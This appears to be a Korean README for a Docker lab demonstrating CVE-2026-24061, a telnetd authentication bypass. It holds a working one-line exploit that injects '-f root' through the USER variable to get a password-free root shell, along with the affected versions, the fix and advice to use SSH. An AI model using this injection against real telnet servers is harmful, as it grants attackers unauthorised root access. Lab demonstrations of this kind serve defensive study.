
이것은 현재 진행 중이고 활발히 악용되고 있는 Telnet 버그의 심각성을 강조할 수 있는 간단한 PoC입니다. 사람들이 아직도 Telnet을 사용하는 이유는... 저로서는 이해할 수 없습니다.
GNU inetutils telnetd의 치명적인 인증 우회 취약점인 CVE-2026-24061을 시연하기 위한 Docker 랩입니다. 이 취약점은 11년 동안 패치되지 않았습니다.
Telnetd는 USER 환경 변수를 검증 없이 /usr/bin/login에 직접 전달합니다. login 바이너리에는 인증을 건너뛰는 -f 플래그가 있습니다(사전 인증된 세션용으로 설계됨). 공격자는 USER='-f root'를 설정하여 login이 비밀번호 없이 root 액세스를 허용하도록 속일 수 있습니다.
영향을 받는 버전: GNU inetutils 1.9.3(2015년 3월) ~ 2.7 CVSS 점수: 9.8(치명적) 수정: inetutils 2.8+로 업데이트
# 이미지 빌드
docker build -t telnetd-exploit .
# 컨테이너 실행 (user1로 셸에 진입)
docker run --rm -it telnetd-exploit
# 익스플로잇 — 비밀번호 없이 root 권한 획득
USER='-f root' telnet -a localhost
root 셸에 진입하게 됩니다. whoami를 실행하여 확인하세요.
1. 클라이언트가 USER='-f root' telnet -a localhost로 연결
2. telnetd가 USER 환경 변수 수신: "-f root"
3. telnetd가 /usr/bin/login -f root 실행
4. login이 -f를 "인증 건너뛰기, 사용자는 사전 검증됨"으로 해석
5. 공격자가 root 셸 획득 — 비밀번호 불필요
-f 플래그는 합법적인 기능입니다. 사용자가 이미 인증된 시나리오(예: 신뢰할 수 있는 로컬 세션)를 위한 것입니다. 문제는 telnetd가 login에 전달하기 전에 USER 변수를 검증하지 않아 원격 공격자가 플래그를 주입할 수 있다는 점입니다.
2026년 1월 기준:
이 버그가 없더라도 Telnet은 비밀번호를 포함한 모든 것을 평문으로 전송합니다. SSH를 사용하세요.
| 프로토콜 | 암호화 | 인증 |
|---|---|---|
| Telnet | 없음 | 평문 |
| SSH | 있음 | 키/비밀번호 |
.
├── Dockerfile # 취약한 Debian 컨테이너 빌드
├── docker-entrypoint.sh # inetd 시작, user1로 전환
└── README.md